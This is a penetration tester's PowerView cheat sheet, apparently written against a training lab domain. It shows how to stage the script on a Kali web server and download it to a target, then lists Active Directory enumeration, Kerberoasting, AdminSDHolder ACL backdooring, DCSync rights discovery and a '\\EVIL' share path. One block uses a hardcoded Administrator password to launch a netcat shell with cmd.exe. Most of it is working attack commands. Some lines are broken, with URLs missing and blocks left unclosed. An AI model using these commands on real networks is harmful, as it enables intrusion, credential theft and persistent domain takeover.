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Expose and deliver

expose PowerView by http server


sudo chown kali:kali /opt
mkdir -p /opt/windows
git clone  /opt/windows/PowerSploit
crete www folder and copy PowerView.ps1 into into
mkdir www
cd www
find / -name *PowerView.ps1* 2>/dev/null
cp /opt/windows/PowerSploit/Recon/PowerView.ps1 .
run http server
python3 -m http.server

download [ps]

wget http://<KALI_IP>/PowerView.ps1 -O PowerView.ps1

Import module

Import-Module .\PowerView.ps1


Computers - get list of computers

Get-DomainComputer -Domain INLANEFREIGHT.LOCAL  | select name
Computers - get one computer details
Get-DomainComputer -name MS01 -Domain INLANEFREIGHT.LOCAL
Get-DomainComputer -name SQL01 -Domain INLANEFREIGHT.LOCAL


Invoke-Portscan -Hosts "MS01.INLANEFREIGHT.LOCAL" -TopPorts 50
Invoke-Portscan -Hosts -T 4 -TopPorts 25 -oA localnet

Domain Users Information

get-DomainUser | select name, description

Domain User Information

Get-DomainUser -Identity mmorgan
Get-DomainUser -Identity mmorgan -Domain inlanefreight.local | Select-Object -Property name,samaccountname,description,memberof,whencreated,pwdlastset,lastlogontimestamp,accountexpires,admincount,userprincipalname,serviceprincipalname,useraccountcontrol

Domain User Groups

Get-DomainGroup -MemberIdentity adunn | select name

Recursive Group Membership

Get-DomainGroupMember -Identity "Domain Admins" -Recurse
Get-DomainGroupMember function will retrieve group-specific information. Adding the -Recurse switch tells PowerView that if it finds any groups that are part of the target group (nested group membership) to list out the members of those groups.

Trust Enumeration


Testing for Local Admin Access

Test-AdminAccess -ComputerName <COMPUTER_NAME>

Finding Users With SPN Set

Get-DomainUser -SPN -Properties samaccountname,ServicePrincipalName
Check for users with the SPN attribute set, which indicates that the account may be subjected to a Kerberoasting attack.

Execute command as other user

Import-Module .\PowerView.ps1

$username = 'Administrator';
$password = '3256)%z@;Cq{o8';
$securePassword = ConvertTo-SecureString $password -AsPlainText -Force;
$credential = New-Object System.Management.Automation.PSCredential $username, $securePassword;
Invoke-Command -ComputerName $env:computername -Credential $credential -ScriptBlock {C:\inetpub\wwwroot\nc.exe -nd 4446 -e cmd.exe}


Command Description
Export-PowerViewCSV Append results to a CSV file
ConvertTo-SID Convert a User or group name to its SID value
Get-DomainSPNTicket Requests the Kerberos ticket for a specified Service Principal Name (SPN) account
Domain/LDAP Functions
Get-Domain Will return the AD object for the current (or specified) domain
Get-DomainController Return a list of the Domain Controllers for the specified domain
Get-DomainUser Will return all users or specific user objects in AD
Get-DomainComputer Will return all computers or specific computer objects in AD
Get-DomainGroup Will return all groups or specific group objects in AD
Get-DomainOU Search for all or specific OU objects in AD
Find-InterestingDomainAcl Finds object ACLs in the domain with modification rights set to non-built in objects
Get-DomainGroupMember Will return the members of a specific domain group
Get-DomainFileServer Returns a list of servers likely functioning as file servers
Get-DomainDFSShare Returns a list of all distributed file systems for the current (or specified) domain
GPO Functions
Get-DomainGPO Will return all GPOs or specific GPO objects in AD
Get-DomainPolicy Returns the default domain policy or the domain controller policy for the current domain
Computer Enumeration Functions
Get-NetLocalGroup Enumerates local groups on the local or a remote machine
Get-NetLocalGroupMember Enumerates members of a specific local group
Get-NetShare Returns open shares on the local (or a remote) machine
Get-NetSession Will return session information for the local (or a remote) machine
Test-AdminAccess Tests if the current user has administrative access to the local (or a remote) machine
Threaded 'Meta'-Functions
Find-DomainUserLocation Finds machines where specific users are logged in
Find-DomainShare Finds reachable shares on domain machines
Find-InterestingDomainShareFile Searches for files matching specific criteria on readable shares in the domain
Find-LocalAdminAccess Find machines on the local domain where the current user has local administrator access
Domain Trust Functions
Get-DomainTrust Returns domain trusts for the current domain or a specified domain
Get-ForestTrust Returns all forest trusts for the current forest or a specified forest
Get-DomainForeignUser Enumerates users who are in groups outside of the user's domain
Get-DomainForeignGroupMember Enumerates groups with users outside of the group's domain and returns each foreign member
Get-DomainTrustMapping Will enumerate all trusts for the current domain and any others seen.

Script location

new version

wget -O PowerView.ps1

old version


local on kali
find / -name PowerView.ps1 2>/dev/null
from github fork
git clone  /opt/windows/PowerSploit


# PowerView's last major overhaul is detailed here:
#   tricks for the 'old' PowerView are at

# the most up-to-date version of PowerView will always be in the dev branch of PowerSploit:

# New function naming schema:
#   Verbs:
#       Get : retrieve full raw data sets
#       Find : ‘find’ specific data entries in a data set
#       Add : add a new object to a destination
#       Set : modify a given object
#       Invoke : lazy catch-all
#   Nouns:
#       Verb-Domain* : indicates that LDAP/.NET querying methods are being executed
#       Verb-WMI* : indicates that WMI is being used under the hood to execute enumeration
#       Verb-Net* : indicates that Win32 API access is being used under the hood

# get all the groups a user is effectively a member of, 'recursing up' using tokenGroups
Get-DomainGroup -MemberIdentity <User/Group>

# get all the effective members of a group, 'recursing down'
Get-DomainGroupMember -Identity "Domain Admins" -Recurse

# use an alterate creadential for any function
$SecPassword = ConvertTo-SecureString 'BurgerBurgerBurger!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
Get-DomainUser -Credential $Cred

# retrieve all the computer dns host names a GPP password applies to
Get-DomainOU -GPLink '<GPP_GUID>' | % {Get-DomainComputer -SearchBase $_.distinguishedname -Properties dnshostname}

# get all users with passwords changed > 1 year ago, returning sam account names and password last set times
$Date = (Get-Date).AddYears(-1).ToFileTime()
Get-DomainUser -LDAPFilter "(pwdlastset<=$Date)" -Properties samaccountname,pwdlastset

# all enabled users, returning distinguishednames
Get-DomainUser -LDAPFilter "(!userAccountControl:1.2.840.113556.1.4.803:=2)" -Properties distinguishedname
Get-DomainUser -UACFilter NOT_ACCOUNTDISABLE -Properties distinguishedname

# all disabled users
Get-DomainUser -LDAPFilter "(userAccountControl:1.2.840.113556.1.4.803:=2)"

# all users that require smart card authentication
Get-DomainUser -LDAPFilter "(useraccountcontrol:1.2.840.113556.1.4.803:=262144)"

# all users that *don't* require smart card authentication, only returning sam account names
Get-DomainUser -LDAPFilter "(!useraccountcontrol:1.2.840.113556.1.4.803:=262144)" -Properties samaccountname
Get-DomainUser -UACFilter NOT_SMARTCARD_REQUIRED -Properties samaccountname

# use multiple identity types for any *-Domain* function
'S-1-5-21-890171859-3433809279-3366196753-1114', 'CN=dfm,CN=Users,DC=testlab,DC=local','4c435dd7-dc58-4b14-9a5e-1fdb0e80d201','administrator' | Get-DomainUser -Properties samaccountname,lastlogoff

# find all users with an SPN set (likely service accounts)
Get-DomainUser -SPN

# check for users who don't have kerberos preauthentication set
Get-DomainUser -PreauthNotRequired
Get-DomainUser -UACFilter DONT_REQ_PREAUTH

# find all service accounts in "Domain Admins"
Get-DomainUser -SPN | ?{$_.memberof -match 'Domain Admins'}

# find users with sidHistory set
Get-DomainUser -LDAPFilter '(sidHistory=*)'

# find any users/computers with constrained delegation st
Get-DomainUser -TrustedToAuth
Get-DomainComputer -TrustedToAuth

# enumerate all servers that allow unconstrained delegation, and all privileged users that aren't marked as sensitive/not for delegation
$Computers = Get-DomainComputer -Unconstrained
$Users = Get-DomainUser -AllowDelegation -AdminCount

# return the local *groups* of a remote server
Get-NetLocalGroup SERVER.domain.local

# return the local group *members* of a remote server using Win32 API methods (faster but less info)
Get-NetLocalGroupMember -Method API -ComputerName SERVER.domain.local

# Kerberoast any users in a particular OU with SPNs set
Invoke-Kerberoast -SearchBase "LDAP://OU=secret,DC=testlab,DC=local"

# Find-DomainUserLocation == old Invoke-UserHunter
# enumerate servers that allow unconstrained Kerberos delegation and show all users logged in
Find-DomainUserLocation -ComputerUnconstrained -ShowAll

# hunt for admin users that allow delegation, logged into servers that allow unconstrained delegation
Find-DomainUserLocation -ComputerUnconstrained -UserAdminCount -UserAllowDelegation

# find all computers in a given OU
Get-DomainComputer -SearchBase "ldap://OU=..."

# Get the logged on users for all machines in any *server* OU in a particular domain
Get-DomainOU -Identity *server* -Domain <domain> | %{Get-DomainComputer -SearchBase $_.distinguishedname -Properties dnshostname | %{Get-NetLoggedOn -ComputerName $_}}

# enumerate all gobal catalogs in the forest

# turn a list of computer short names to FQDNs, using a global catalog
gc computers.txt | % {Get-DomainComputer -SearchBase "GC://GLOBAL.CATALOG" -LDAP "(name=$_)" -Properties dnshostname}

# enumerate the current domain controller policy
$DCPolicy = Get-DomainPolicy -Policy DC
$DCPolicy.PrivilegeRights # user privilege rights on the dc...

# enumerate the current domain policy
$DomainPolicy = Get-DomainPolicy -Policy Domain
$DomainPolicy.KerberosPolicy # useful for golden tickets ;)
$DomainPolicy.SystemAccess # password age/etc.

# enumerate what machines that a particular user/group identity has local admin rights to
#   Get-DomainGPOUserLocalGroupMapping == old Find-GPOLocation
Get-DomainGPOUserLocalGroupMapping -Identity <User/Group>

# enumerate what machines that a given user in the specified domain has RDP access rights to
Get-DomainGPOUserLocalGroupMapping -Identity <USER> -Domain <DOMAIN> -LocalGroup RDP

# export a csv of all GPO mappings
Get-DomainGPOUserLocalGroupMapping | %{$_.computers = $_.computers -join ", "; $_} | Export-CSV -NoTypeInformation gpo_map.csv

# use alternate credentials for searching for files on the domain
#   Find-InterestingDomainShareFile == old Invoke-FileFinder
$Password = "PASSWORD" | ConvertTo-SecureString -AsPlainText -Force
$Credential = New-Object System.Management.Automation.PSCredential("DOMAIN\user",$Password)
Find-InterestingDomainShareFile -Domain DOMAIN -Credential $Credential

# enumerate who has rights to the 'matt' user in 'testlab.local', resolving rights GUIDs to names
Get-DomainObjectAcl -Identity matt -ResolveGUIDs -Domain testlab.local

# grant user 'will' the rights to change 'matt's password
Add-DomainObjectAcl -TargetIdentity matt -PrincipalIdentity will -Rights ResetPassword -Verbose

# audit the permissions of AdminSDHolder, resolving GUIDs
Get-DomainObjectAcl -SearchBase 'CN=AdminSDHolder,CN=System,DC=testlab,DC=local' -ResolveGUIDs

# backdoor the ACLs of all privileged accounts with the 'matt' account through AdminSDHolder abuse
Add-DomainObjectAcl -TargetIdentity 'CN=AdminSDHolder,CN=System,DC=testlab,DC=local' -PrincipalIdentity matt -Rights All

# retrieve *most* users who can perform DC replication for dev.testlab.local (i.e. DCsync)
Get-DomainObjectAcl "dc=dev,dc=testlab,dc=local" -ResolveGUIDs | ? {
    ($_.ObjectType -match 'replication-get') -or ($_.ActiveDirectoryRights -match 'GenericAll')

# find linked DA accounts using name correlation
Get-DomainGroupMember 'Domain Admins' | %{Get-DomainUser $_.membername -LDAPFilter '(displayname=*)'} | %{$a=$_.displayname.split(' ')[0..1] -join ' '; Get-DomainUser -LDAPFilter "(displayname=*$a*)" -Properties displayname,samaccountname}

# save a PowerView object to disk for later usage
Get-DomainUser | Export-Clixml user.xml
$Users = Import-Clixml user.xml

# Find any machine accounts in privileged groups
Get-DomainGroup -AdminCount | Get-DomainGroupMember -Recurse | ?{$_.MemberName -like '*$'}

# Enumerate permissions for GPOs where users with RIDs of > -1000 have some kind of modification/control rights
Get-DomainObjectAcl -LDAPFilter '(objectCategory=groupPolicyContainer)' | ? { ($_.SecurityIdentifier -match '^S-1-5-.*-[1-9]\d{3,}$') -and ($_.ActiveDirectoryRights -match 'WriteProperty|GenericAll|GenericWrite|WriteDacl|WriteOwner')}

# find all policies applied to a current machine
Get-DomainGPO -ComputerIdentity windows1.testlab.local

# enumerate all groups in a domain that don't have a global scope, returning just group names
Get-DomainGroup -GroupScope NotGlobal -Properties name

# enumerate all foreign users in the global catalog, and query the specified domain localgroups for their memberships
#   query the global catalog for foreign security principals with domain-based SIDs, and extract out all distinguishednames
$ForeignUsers = Get-DomainObject -Properties objectsid,distinguishedname -SearchBase "GC://testlab.local" -LDAPFilter '(objectclass=foreignSecurityPrincipal)' | ? {$_.objectsid -match '^S-1-5-.*-[1-9]\d{2,}$'} | Select-Object -ExpandProperty distinguishedname
$Domains = @{}
$ForeignMemberships = ForEach($ForeignUser in $ForeignUsers) {
    # extract the domain the foreign user was added to
    $ForeignUserDomain = $ForeignUser.SubString($ForeignUser.IndexOf('DC=')) -replace 'DC=','' -replace ',','.'
    # check if we've already enumerated this domain
    if (-not $Domains[$ForeignUserDomain]) {
        $Domains[$ForeignUserDomain] = $True
        # enumerate all domain local groups from the given domain that have membership set with our foreignSecurityPrincipal set
        $Filter = "(|(member=" + $($ForeignUsers -join ")(member=") + "))"
        Get-DomainGroup -Domain $ForeignUserDomain -Scope DomainLocal -LDAPFilter $Filter -Properties distinguishedname,member
$ForeignMemberships | fl

# if running in -sta mode, impersonate another credential a la "runas /netonly"
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
Invoke-UserImpersonation -Credential $Cred
# ... action

# enumerates computers in the current domain with 'outlier' properties, i.e. properties not set from the firest result returned by Get-DomainComputer
Get-DomainComputer -FindOne | Find-DomainObjectPropertyOutlier

# set the specified property for the given user identity
Set-DomainObject testuser -Set @{'mstsinitialprogram'='\\EVIL\program.exe'} -Verbose

# Set the owner of 'dfm' in the current domain to 'harmj0y'
Set-DomainObjectOwner -Identity dfm -OwnerIdentity harmj0y

# retrieve *most* users who can perform DC replication for dev.testlab.local (i.e. DCsync)
Get-ObjectACL "DC=testlab,DC=local" -ResolveGUIDs | ? {
    ($_.ActiveDirectoryRights -match 'GenericAll') -or ($_.ObjectAceType -match 'Replication-Get')

# check if any user passwords are set
$FormatEnumerationLimit=-1;Get-DomainUser -LDAPFilter '(userPassword=*)' -Properties samaccountname,memberof,userPassword | % {Add-Member -InputObject $_ NoteProperty 'Password' "$([System.Text.Encoding]::ASCII.GetString($_.userPassword))" -PassThru} | fl